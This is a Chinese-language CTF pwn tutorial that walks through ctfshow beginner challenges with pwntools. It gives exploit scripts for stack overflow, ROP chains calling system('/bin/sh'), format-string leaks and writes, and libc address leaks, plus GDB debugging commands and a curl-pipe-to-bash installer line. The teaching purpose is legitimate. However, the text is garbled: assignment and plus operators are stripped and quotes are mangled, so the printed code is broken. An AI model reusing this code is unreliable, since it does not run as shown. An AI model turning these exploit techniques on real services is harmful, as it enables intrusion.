CTF Pwn入门实战:基于pwntools的栈溢出与ROP利用详解

CTF Pwn入门实战:基于pwntools的栈溢出与ROP利用详解
1. 项目概述从零到一用Python pwntools征服CTF Pwn入门如果你对CTFCapture The Flag竞赛中的Pwn二进制漏洞利用方向感兴趣却苦于不知如何下手看着一堆汇编指令和内存地址发懵那么这篇内容就是为你准备的。Pwn入门常常给人一种高深莫测的感觉尤其是面对远程靶机时如何稳定地发送payload、接收反馈、进行交互式调试是新手面临的第一道坎。手动用nc命令拼接十六进制字符串的日子已经过去了现代Pwn手的第一件武器往往就是Python的pwntools库。它不是一个普通的库而是一个完整的漏洞利用开发框架能让你像写普通Python脚本一样优雅地完成漏洞挖掘与利用的全过程。我们这次的目标非常具体打通ctfshow平台上的“Pwn入门”系列的前十题。ctfshow的入门题设计得很有梯度从最基础的栈溢出到一些简单的绕过技巧非常适合新手建立完整的知识体系和肌肉记忆。我将手把手带你配置环境、理解每一题的核心漏洞点、编写攻击脚本EXP并附上关键的调试命令。你不需要是二进制安全专家只需要有基础的Python语法知识和一颗愿意动手的心。跟着这篇教程走完你不仅能拿下这十题更能掌握一套可持续复用的Pwn解题方法论和工具链。2. 环境准备与工具链搭建工欲善其事必先利其器。一个稳定、高效的开发环境能让你在解题时心无旁骛。对于Pwn来说环境搭建稍有特殊因为我们需要同时处理本地调试和远程攻击。2.1 基础系统与Python环境选择我强烈推荐使用Linux系统进行Pwn学习Ubuntu 20.04/22.04 LTS或Kali Linux是常见的选择。Linux原生提供了强大的命令行工具链如objdump,readelf,gdb并且与竞赛环境最为接近。如果你使用Windows可以通过WSL2Windows Subsystem for Linux获得近乎原生的Linux体验这是目前最理想的折中方案。Python版本建议选择3.8及以上。pwntools对Python 3的支持已经非常完善。避免使用系统自带的Python最好通过pyenv或conda创建一个独立的虚拟环境防止包依赖冲突。# 示例使用pyenv管理Python版本并创建虚拟环境 sudo apt update sudo apt install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl git curl https://pyenv.run | bash # 将pyenv初始化命令加入shell配置文件如.bashrc exec $SHELL pyenv install 3.10.12 pyenv global 3.10.12 python -m venv pwn-env source pwn-env/bin/activate2.2 pwntools的安装与核心组件验证安装pwntools非常简单但有一些细节需要注意。直接使用pip安装即可但建议使用国内镜像源加速。pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple安装完成后在Python交互环境中导入并检查版本同时验证几个关键组件是否可用 import pwn pwn.version 4.10.0 # 你的版本号可能更高 pwn.asm(xor eax, eax) b1\xc0 # 能正确输出汇编的机器码说明汇编器组件正常 pwn.packing.p32(0xdeadbeef) b\xef\xbe\xad\xde # 能正确打包32位整数说明打包模块正常注意在某些纯净的Linux发行版上pwntools依赖的capstone反汇编引擎、ropgadget等工具可能需要额外安装系统库。如果遇到安装错误通常根据报错信息安装对应的libcapstone-dev、binutils等包即可解决。2.3 辅助工具安装让调试如虎添翼仅有pwntools还不够以下几款工具是Pwn手的标配GDB及其增强插件Pwndbg/GEF/PedaGDB是调试基石但原生界面不友好。增强插件能自动显示寄存器、栈、代码、内存映射等信息。我个人偏好Pwndbg它界面清晰对新手友好。# 安装GDB sudo apt install gdb -y # 安装Pwndbg推荐 git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh安装后启动GDB就会自动进入Pwndbg模式。checksec用于快速检查二进制文件的安全属性如NX, PIE, Canary, RELRO。pwntools自带checksec功能但系统安装一个命令行版本也很方便。sudo apt install checksec -y # 或使用pwntools的 from pwn import * context.binary ./pwn1 print(context.binary.checksec())one_gadget用于在libc中寻找“一击必杀”的gadget直接调用execve(‘/bin/sh’, NULL, NULL)的代码片段。在需要绕过复杂限制时非常有用。gem install one_gadgetLibcSearcher或libc-database当题目只提供远程服务不给libc文件时用于根据泄露的函数地址查找对应的libc版本。这是一个Python库。git clone https://github.com/lieanu/LibcSearcher.git cd LibcSearcher python setup.py develop将以上工具准备好你的Pwn武器库就初步成型了。接下来我们进入实战从第一题开始拆解。3. 核心思路与解题方法论框架在具体分析每一题之前我们必须建立一个清晰的解题框架。面对一个陌生的Pwn题遵循一套固定的分析流程可以避免遗漏关键信息提高解题效率。这个流程可以概括为“静态分析 - 动态调试 - 利用构造 - 脚本编写”四个阶段。3.1 静态分析读懂程序在“说什么”静态分析是在不运行程序的情况下通过工具分析二进制文件。目标是理解程序逻辑、识别危险函数、确定漏洞类型和初步评估利用难度。文件信息侦察使用file命令查看文件类型32/64位动态链接等checksec查看防护机制。这是第一步决定了后续利用的大方向。例如看到NX enabled就要想到用ROP看到PIE enabled就要考虑泄露地址。file pwn1 checksec --filepwn1符号与函数分析使用objdump -t查看符号表寻找main、win后门函数、vuln等关键函数。使用strings查看字符串有时能直接发现/bin/sh或格式化字符串漏洞的线索。objdump -t pwn1 | grep -E ‘main|win|vuln’ strings pwn1 | grep -i ‘bin/sh’反汇编与代码审计使用objdump -d -M intel反汇编或者用IDA Pro/Ghidra等图形化工具进行更直观的分析。重点关注gets,scanf(“%s”),strcpy,sprintf等不检查长度的输入函数栈溢出。printf的第一个参数用户可控格式化字符串漏洞。read,recv的长度参数大于目标缓冲区堆/栈溢出。存在明显的数组越界访问。存在释放后使用UAF或双重释放Double Free的迹象。3.2 动态调试观察程序在“做什么”动态调试是在程序运行时观察其状态验证静态分析的猜想并获取精确的偏移量、地址等关键数据。使用GDBPwndbg启动GDB在疑似漏洞函数如vuln或危险函数调用如gets处下断点。gdb ./pwn1 # 在Pwndbg中 break main run关键信息收集计算偏移在函数入口处查看栈布局。对于栈溢出最关键的是找到返回地址Saved RIP/EIP相对于输入缓冲区的偏移。常用方法是制造一个模式字符串pattern。# 在pwntools脚本中或使用Pwndbg命令 from pwn import * cyclic(100) # 生成一个100字节的循环字符串 # 将生成的字符串作为输入程序崩溃后查看RIP/EIP的值 # 再用 cyclic_find(崩溃的RIP值) 计算偏移泄露地址如果程序有输出功能如puts泄露了某个GOT表地址在调试中记录下这个地址用于计算libc基址。观察内存变化单步执行ni/si观察栈和堆的变化理解数据流向。3.3 利用构造设计攻击“路线图”根据漏洞类型和防护机制设计利用方案。栈溢出无NX最经典。计算好偏移后将shellcode写入缓冲区并覆盖返回地址指向shellcode起始处。栈溢出NX开启使用ROPReturn-Oriented Programming。寻找可用的gadget链最终调用system(‘/bin/sh’)或execve。如果是64位还要注意函数参数传递规则前六个参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递。格式化字符串漏洞通常用于任意地址读泄露信息和任意地址写改写GOT表或关键变量。计算格式化字符串在栈上的位置是关键。堆漏洞如UAF、Double Free、Off-by-One等。思路通常是利用堆管理器的机制如glibc的malloc/free来制造堆块重叠最终实现任意地址写。3.4 脚本编写用pwntools自动化攻击将上述思路转化为可重复、可调整的Python脚本。pwntools的核心对象是tube它抽象了本地进程process和远程连接remote的交互。一个典型的EXP脚本结构如下#!/usr/bin/env python3 from pwn import * # 1. 设置上下文架构、日志级别 context(arch‘amd64’, os‘linux’, log_level‘debug’) # 2. 连接到目标本地或远程 # io process(‘./pwn1’) io remote(‘pwn.challenge.ctf.show’, 12345) # 3. 接收初始信息如菜单、提示语便于后续交互 io.recvuntil(b‘something:’) # 4. 构造payload offset 72 ret_addr 0x400123 # 例如win函数地址 payload b‘A’ * offset p64(ret_addr) # 5. 发送payload io.sendline(payload) # 6. 如果攻击成功获得shell则切换到交互模式 io.interactive()掌握了这个方法论我们就像有了地图和指南针可以开始征服ctfshow的入门十题了。下面我将选取其中最具代表性的几题进行超详细的拆解。4. 实战拆解ctfshow pwn入门典型题目精讲由于篇幅所限我们无法逐一讲解十题但我会挑选涵盖不同知识点和难度的四道题进行深度剖析。你可以举一反三应用到其他题目上。4.1 入门第一题最基础的栈溢出与返回地址覆盖这通常是整个系列最简单的一题目标是让你熟悉最基本的栈溢出利用流程。题目分析 用file和checksec查看一般是32位或64位程序没有开启任何保护NX disabled, No PIE。用objdump -d或IDA查看main函数会发现它调用了某个函数比如vuln里面使用了不安全的gets或read函数向一个固定大小的栈缓冲区读入数据。漏洞点gets函数不检查输入长度导致可以覆盖栈上保存的返回地址。利用思路确定偏移量缓冲区起始地址到返回地址之间的字节数。找到后门函数或shellcode地址题目通常会直接给你一个win或getshell函数或者因为没开NX可以把shellcode放在缓冲区并跳转过去。构造payload[填充字符] * 偏移量 [目标地址]。详细步骤与EXP#!/usr/bin/env python3 from pwn import * # 设置上下文关闭ASLR以便本地调试远程不影响 context(arch‘i386’, os‘linux’, log_level‘info’) # 本地测试 io process(‘./pwn1’) # 或者直接连接远程 # io remote(‘pwn.challenge.ctf.show’, 28100) # 方法一使用cyclic模式字符串自动计算偏移推荐新手学习用 # 先发送一个长字符串 payload cyclic(200) io.sendline(payload) # 程序崩溃记下崩溃时EIP/RIP的值假设是0x6161616c (‘laaa’) # 然后在脚本中计算 # offset cyclic_find(0x6161616c) # 假设是76 # 方法二通过静态分析或调试已知偏移假设是76 offset 76 # 找到后门函数地址用objdump或IDA看假设是0x80485cb win_addr 0x80485cb # 构造payload payload b‘A’ * offset p32(win_addr) # p32用于32位打包 # 发送payload前可以接收一下程序的提示语 print(io.recvuntil(b‘input:\n’)) io.sendline(payload) # 如果成功程序会跳转到win函数执行system(‘/bin/sh’)等我们获得shell io.interactive()调试命令实录# 终端1运行EXP脚本 python3 exp.py # 如果脚本中用的是 process(‘./pwn1’)程序会崩溃记下EIP # 终端2使用GDB调试精确计算偏移 gdb ./pwn1 break *vuln50 # 在gets函数返回后下断点 run (python3 -c “from pwn import *; print(cyclic(100))”) # 程序断下后查看栈顶esp附近的值或者直接看崩溃时eip的值 info frame x/20wx $esp # 找到cyclic字符串的特征值如0x6161616c然后用cyclic_find计算实操心得第一题的关键是建立“偏移量”和“覆盖返回地址”这两个核心概念。使用cyclic和cyclic_find是自动化计算偏移的最佳实践比手动计算更可靠。务必在本地用GDB验证偏移是否正确。4.2 入门第三题引入NX保护与ROP技术从这一题开始题目通常会开启NXNo-Execute保护意味着栈上的数据不可执行。我们不能再把shellcode放在栈上并跳转过去执行了。题目分析checksec会显示NX enabled。程序逻辑可能和第一题类似有一个栈溢出漏洞。但这次我们需要寻找程序本身或链接库libc中已有的代码片段gadget来拼凑出我们想要的逻辑。漏洞点同样是栈溢出。利用思路ROP。我们需要找到以下gadget或函数控制参数寄存器的gadget如pop rdi; ret。/bin/sh字符串的地址可能在程序数据段也可能需要我们自己写入。system函数的地址来自libc需要计算。详细步骤与EXP 假设是64位程序libc已给出或通过泄露计算。#!/usr/bin/env python3 from pwn import * context(arch‘amd64’, os‘linux’, log_level‘debug’) io process(‘./pwn3’) # io remote(‘pwn.challenge.ctf.show’, 28102) elf ELF(‘./pwn3’) # 加载本地二进制文件方便解析符号 # 如果给了libc.so也可以加载 # libc ELF(‘./libc.so.6’) # 1. 计算偏移方法同前假设为72 offset 72 # 2. 寻找gadget。使用ROPgadget工具或pwntools的ROP功能 # 命令行ROPgadget --binary ./pwn3 | grep “pop rdi” pop_rdi_ret 0x4007a3 # 假设找到的地址 ret_addr 0x4005ae # 一个单独的ret指令地址用于栈对齐某些系统需要 # 3. 寻找字符串和函数地址 # 程序中如果有现成的字符串最好 binsh_addr next(elf.search(b‘/bin/sh’)) # 搜索字符串 # 如果没有可能需要通过其他漏洞写入 system_plt elf.plt[‘system’] # 获取PLT表中的system地址 # 如果程序没有直接调用system但给了libc则需要计算libc基址 # leaked_addr xxx # 通过溢出泄露的某个函数地址 # libc_base leaked_addr - libc.sym[‘puts’] # 假设泄露的是puts # system_addr libc_base libc.sym[‘system’] # binsh_addr libc_base next(libc.search(b‘/bin/sh’)) # 4. 构造ROP链 payload flat([ b‘A’ * offset, pop_rdi_ret, binsh_addr, ret_addr, # 栈对齐可选有时能解决movaps指令崩溃 system_plt ]) # flat()函数会自动将列表中的元素打包成字节流整数用p64()字节串不变 io.recvuntil(b‘’) io.sendline(payload) io.interactive()调试命令与技巧# 使用Pwndbg的rop功能辅助查找 rop --grep “pop rdi” # 在泄露地址后在gdb中计算libc基址 p/x leaked_puts_addr - 0x809c0 # 0x809c0是本地libc中puts的偏移需根据版本查 # 使用vmmap命令查看内存映射确认libc加载基址 vmmap libc注意事项64位ROP时特别注意函数调用约定参数顺序RDI, RSI, RDX, RCX, R8, R9。system只需要一个参数字符串地址。另外在某些Ubuntu 18.04的系统上调用system时如果栈没有16字节对齐会导致movaps指令崩溃这时在ROP链开头加一个retgadget可以对齐栈。4.3 入门第五题格式化字符串漏洞与信息泄露格式化字符串漏洞Format String Bug, FSB是另一大类漏洞。它允许我们通过控制printf等格式化函数的格式字符串来读取或写入任意内存。题目分析 程序中使用printf(user_input)这样的语句其中user_input是我们可控的。checksec可能开启NX。漏洞点printf的第一个参数格式字符串用户可控。利用思路任意地址读利用%p、%s等格式化符从栈上泄露信息如libc地址、栈地址、canary等。任意地址写利用%n格式化符将已输出的字符数写入指定地址可以修改GOT表将printf的GOT项改为system的PLT地址或者修改栈上的返回地址。通常步骤是先泄露若干地址计算出关键地址libc基址、栈地址等然后利用写能力修改某个地址的值劫持程序流。详细步骤与EXP 假设是32位程序目标是泄露栈上的libc地址然后修改返回地址为system。#!/usr/bin/env python3 from pwn import * context(arch‘i386’, os‘linux’, log_level‘debug’) io process(‘./pwn5’) # io remote(‘pwn.challenge.ctf.show’, 28104) # 1. 确定我们的输入在栈上的位置 # 发送多个%p查看输出 io.recvuntil(b‘name:’) payload b‘%p.’ * 10 io.sendline(payload) output io.recvline() print(output) addrs output.decode().strip().split(‘.’) # 假设第7个输出是我们的输入字符串的地址或附近第4个是libc中的地址 # 这需要动态调试确定例如在printf处下断点查看栈帧。 # 2. 假设我们通过调试发现偏移为6的位置是一个libc地址例如__libc_start_main243 # 我们利用这个偏移来泄露 io.recvuntil(b‘name:’) payload b‘%6$p’ # 直接打印栈上第6个参数从0开始计数注意规则通常第一个是格式字符串本身 io.sendline(payload) libc_leak int(io.recvline(), 16) print(f“Leaked libc address: {hex(libc_leak)}“) # 3. 计算libc基址和system地址需要知道本地libc版本和对应偏移 # 假设泄露的是 __libc_start_main243本地该符号偏移是0x18e33 libc_base libc_leak - 0x18e33 - 243 # 减去固定偏移 system_addr libc_base 0x3d200 # system在libc中的偏移 print(f“Libc base: {hex(libc_base)}“) print(f“System addr: {hex(system_addr)}“) # 4. 确定要写入的地址例如某个函数的返回地址在栈上的位置 # 通过调试假设返回地址存储在栈上偏移为10的位置 # 我们需要将system_addr写入这个位置 # 使用%n进行写入但需要控制写入的值。我们可以用%xxxc来输出特定数量的字符再用%n写入。 # 更常用的技巧是使用pwntools的fmtstr_payload函数自动生成payload # 首先我们需要知道目标地址栈上返回地址的位置本身的值。 # 我们可以先泄露一个栈地址然后计算出返回地址的绝对地址。 # 5. 使用pwntools自动化生成格式化字符串攻击payload推荐 # 假设我们通过调试知道返回地址存储在栈上地址为0xffffd5cc的地方 # 并且我们可以通过偏移7控制一个指针指向这个地址即我们的输入中包含了0xffffd5cc from pwn import fmtstr_payload # fmtstr_payload(offset, writes, numbwritten0, write_size‘byte’) # offset: 我们控制的第一个参数在格式化字符串中的偏移 # writes: 一个字典{addr: value} 表示要将value写入addr # 假设偏移是7我们要将system_addr写入0xffffd5cc writes {0xffffd5cc: system_addr} payload fmtstr_payload(7, writes) io.recvuntil(b‘name:’) io.sendline(payload) # 6. 触发漏洞例如程序再次读取输入并调用printf io.recvuntil(b‘again:’) io.sendline(b‘/bin/sh\x00’) # 发送/bin/sh字符串system的参数 io.interactive()调试关键点# 在GDB中调试格式化字符串漏洞关键看栈 gdb ./pwn5 break printf run # 当断在printf时查看栈帧 x/20wx $esp # 第一个参数是格式字符串地址后面的就是printf的可变参数。 # 计算我们的输入是第几个“参数”。例如如果我们的输入在0xffffd580而esp4是0xffffd56c那么相差 (0x580-0x56c)/4 5所以偏移可能是5或6取决于计数方式从0还是1开始。避坑指南格式化字符串漏洞的偏移计算是难点一定要结合GDB动态调试确认。pwntools的fmtstr_payload函数非常强大可以自动处理复杂的写入和字节对齐但你需要正确提供偏移量和写入字典。对于初学者建议先手动构造简单的泄露payload理解原理再使用自动化工具。4.4 入门第八题64位ROP与Libc地址泄露这道题综合了前面几题的知识点通常是一个64位程序开启了NX和ASLR没有给出libc文件。我们需要先利用程序本身的输出功能泄露一个libc函数地址计算出libc基址然后再进行ROP攻击。题目分析 程序存在一个栈溢出漏洞并且在此之前可能有一个输出某个全局变量或函数地址的机会比如puts(got[‘puts’])。我们的目标是先泄露再溢出。漏洞点一个可以泄露地址的点和另一个栈溢出点可能是同一个函数内也可能是两个步骤。利用思路信息泄露阶段利用程序的第一次输出如puts(putsgot)泄露出一个libc函数的真实地址。计算阶段根据泄露的地址和已知的libc版本中该函数的偏移量计算出libc的加载基址。进而得到system和字符串/bin/sh的地址。如何知道libc版本题目可能暗示或者用LibcSearcher工具根据泄露的多个地址进行匹配。攻击阶段利用栈溢出构造ROP链调用system(‘/bin/sh’)。详细步骤与EXP#!/usr/bin/env python3 from pwn import * context(arch‘amd64’, os‘linux’, log_level‘debug’) # io process(‘./pwn8’) io remote(‘pwn.challenge.ctf.show’, 28107) elf ELF(‘./pwn8’) # 第一部分泄露libc地址 # 假设程序有一个函数可以打印puts的GOT表地址 # 先接收菜单等无关输出 io.recvuntil(b‘choice:’) io.sendline(b‘1’) # 选择泄露功能 # 接收泄露的地址。注意接收的数据可能包含换行、非打印字符需要处理 leaked_data io.recvline().strip() # 假设输出是“Address: 0x7f1234567890” # 我们需要提取出地址部分 puts_leak int(leaked_data.split(b‘:’)[1].strip(), 16) print(f“Leaked puts address: {hex(puts_leak)}“) # 使用LibcSearcher查找libc版本如果未提供libc from LibcSearcher import * libc LibcSearcher(‘puts’, puts_leak) # 函数名和泄露值 libc_base puts_leak - libc.dump(‘puts’) system_addr libc_base libc.dump(‘system’) binsh_addr libc_base libc.dump(‘str_bin_sh’) print(f“Libc base: {hex(libc_base)}“) print(f“System addr: {hex(system_addr)}“) print(f“/bin/sh addr: {hex(binsh_addr)}“) # 第二部分进行栈溢出ROP攻击 # 假设程序的另一个功能存在栈溢出 io.recvuntil(b‘choice:’) io.sendline(b‘2’) io.recvuntil(b‘input:’) # 寻找gadget pop_rdi_ret 0x400913 # 通过ROPgadget找到 ret_addr 0x4005ae # 用于栈对齐的ret offset 72 # 栈溢出偏移通过cyclic确定 payload flat([ b‘A’ * offset, pop_rdi_ret, binsh_addr, ret_addr, system_addr ]) io.sendline(payload) io.interactive()调试与问题排查# 如果泄露的地址不对检查接收和处理数据的代码 # 在发送泄露选项后使用 recvuntil(‘xxx’) 精确接收直到特定字符串再用 recvline() 接收地址行 # 使用 hexdump 查看原始接收数据 from pwn import hexdump print(hexdump(leaked_data)) # 如果LibcSearcher匹配到多个版本需要根据其他泄露如__libc_start_main进一步确定或者根据题目平台常用的libc版本猜测如ubuntu18.04对应libc6_2.27-3ubuntu1.4_amd64。核心技巧这种“先泄露后攻击”的两段式利用是CTF Pwn题的经典套路。关键在于第一次交互不能破坏程序状态要确保程序能正常执行到第二次输入点。有时需要精心构造第一次的payload使其在泄露后能正常返回或者程序本身就有循环。另外LibcSearcher不是万能的最好自己维护一个常见的libc数据库。5. 完整EXP模板与通用调试命令集经过前面几道题的实战你应该对流程有了清晰的认识。下面我提供一个相对通用的EXP模板并汇总一套高效的GDB调试命令你可以像搭积木一样根据题目进行修改。5.1 通用EXP脚本模板#!/usr/bin/env python3 “”” ctfshow pwn 通用解题模板 根据题目情况注释/取消注释相关部分并填充关键地址和偏移。 “”” from pwn import * import sys def start(): “””启动调试或连接远程””” if args.REMOTE: # 使用 python exp.py REMOTE 来连接远程 return remote(‘pwn.challenge.ctf.show’, 端口号) else: # 本地调试可以attach到gdb if args.GDB: context.terminal [‘tmux’, ‘splitw’, ‘-h’] # 根据你的终端调整 return gdb.debug([‘./pwn’], gdbscriptgs) else: return process(‘./pwn’) # GDB调试脚本在启动时自动执行 gs “”” break *main break *vuln50 continue “”” # 设置全局上下文 context.binary ‘./pwn’ # 自动识别架构 context.log_level ‘debug’ # 调试时用‘debug’稳定后用‘info’ context.timeout 5 # 加载ELF文件方便获取符号地址 elf context.binary # —————— 1. 泄露阶段 —————— io start() # 填充你的泄露逻辑获取libc地址、栈地址、canary等 # 例泄露puts的got表地址 # payload1 flat([ # b‘A’*offset1, # pop_rdi, # elf.got[‘puts’], # elf.plt[‘puts’], # elf.sym[‘main’] # 泄露后返回main函数进行第二次溢出 # ]) # io.sendlineafter(b‘’, payload1) # leaked_puts u64(io.recvline().strip().ljust(8, b‘\x00’)) # libc_base leaked_puts - libc.sym[‘puts’] # —————— 2. 计算关键地址 —————— # libc elf.libc # 如果本地文件存在 # libc.address libc_base # 设置libc基址之后直接用 libc.sym[‘system’] # system_addr libc.sym[‘system’] # binsh_addr next(libc.search(b‘/bin/sh’)) # —————— 3. 攻击阶段 —————— # 构造最终的ROP链或shellcode # payload2 flat([ # b‘A’*offset2, # pop_rdi_ret, # binsh_addr, # ret, # 栈对齐 # system_addr # ]) # io.sendlineafter(b‘input:’, payload2) # —————— 4. 享受shell —————— io.interactive()5.2 GDBPwndbg 高效调试命令清单将以下命令保存为~/.gdbinit或在使用时输入能极大提升调试效率。# 基础设置 set disassembly-flavor intel set pagination off # Pwndbg自动加载后以下命令可用 # 1. 查看程序保护 checksec # 2. 查看函数反汇编 disass main disass vuln # 3. 下断点 break *main break *vuln100 # 在vuln函数偏移100处下断 break *0x400123 # 在绝对地址下断 # 4. 运行并附加进程 run (python3 -c “from pwn import *; print(‘A’*100)”) # 重定向输入 run “$(python3 -c ‘from pwn import *; print(b“A”*100 p64(0xdeadbeef))’)” # 参数传递 # 如果程序已经运行在其他终端用 ps aux | grep pwn 找到PID # 然后 gdb -p PID # 5. 查看内存 x/20wx $esp # 查看栈顶20个32位字 x/10gx $rsp # 查看栈顶10个64位字 x/s 0x400000 # 查看0x400000地址处的字符串 x/i $pc # 查看当前指令 # 6. 查看寄存器 registers i r # info registers 简写 # 7. 查看栈帧信息 backtrace # 或 bt查看调用栈 info frame # 查看当前栈帧详细信息 # 8. 单步执行 ni # next instruction步过 si # step instruction步入遇到call会进入 c # continue继续运行 # 9. 模式字符串计算 # 在程序崩溃后查看RIP/EIP的值例如是0x6161616c python import pwn; print(pwn.cyclic_find(0x6161616c)) # 10. 搜索内存 search -t string “/bin/sh” # 搜索字符串 search -t bytes b“\x7f\x45\x4c\x46” # 搜索ELF头 # 11. ROP gadget搜索 rop --grep “pop rdi” rop --grep “ret”5.3 常见问题与速查表在实战中你肯定会遇到各种报错和意外情况。下表汇总了最常见的问题及其排查思路问题现象可能原因排查步骤与解决方案本地成功远程失败1. 本地libc版本与远程不同。2. 偏移量计算错误栈布局可能因环境变量差异而不同。3. 远程有额外的输入验证或过滤。1. 使用LibcSearcher或根据泄露的多个地址确定远程libc版本。2.务必使用题目提供的libc或根据泄露精确计算偏移。本地偏移仅作参考。3. 检查发送的payload中是否有被远程过滤的字符如\x00,\n,\x0c等尝试编码或替换。发送payload后程序无响应或立即退出1. payload覆盖了关键数据导致程序崩溃在非预期位置。2. 栈没有对齐64位下常见。3. Canary保护未绕过。1. 用GDB调试在发送payload后单步执行观察程序在哪条指令崩溃。2. 在ROP链开头加一个retgadget进行栈对齐。3. 检查checksec如果有Canary需要先泄露canary值并在payload中正确覆盖。system(‘/bin/sh’)执行后没有获得shell1.system函数执行成功但shell的输入输出没有重定向到我们的socket。2. 字符串/bin/sh地址错误或结尾没有\x00。3. 环境变量问题。1. 确保使用io.interactive()进行交互。2. 检查/bin/sh字符串是否完整确保是b‘/bin/sh\x00‘。3. 尝试使用execve的one_gadget或者使用dup2将标准输入输出重定向到socket。泄露的地址看起来不对全0或很小1. 接收数据不正确包含了换行符或非地址字符。2. 泄露的偏移计算错误。3. 程序输出被缓冲没有及时收到。1. 使用recvuntil(‘:’)精确接收用u64(io.recv(6).ljust(8, b‘\x00‘))处理。2. GDB动态调试在泄露点查看栈和寄存器确认泄露的值是什么。3. 尝试在发送后加io.recvline()或io.clean()清空缓冲区。使用fmtstr_payload时报错或无效1. 偏移量参数不正确。2. 写入的地址不可写或不对齐。3. 格式化字符串长度限制。1. 动态调试确定准确的偏移。2. 确保写入的地址如GOT表地址是可写的。64位下注意地址是否为合法地址不能有\x00字节否则会被截断。3. 尝试手动构造简化的payload验证原理。one_gadget执行失败1. 约束条件不满足如某个寄存器值必须为NULL。2. 栈状态不符合要求。1. 用one_gadget工具查看gadget的约束条件one_gadget libc.so.6。2. 在跳转到one_gadget前通过ROP链设置好寄存器状态如pop rdx; ret; xor rdx, rdx; ret。3. 多尝试几个不同的one_gadget。掌握以上模板、命令和排查技巧你就能应对ctfshow pwn入门十题中绝大部分情况。记住Pwn是一个需要大量动手实践的领域光看是学不会的。一定要自己动手搭环境、写EXP、调试、踩坑、再调试。每一个报错信息都是你进步的阶梯。当你按照这个流程独立调试通一道题时那种成就感是无与伦比的。剩下的题目就请你带着这份指南和模板去亲自征服吧。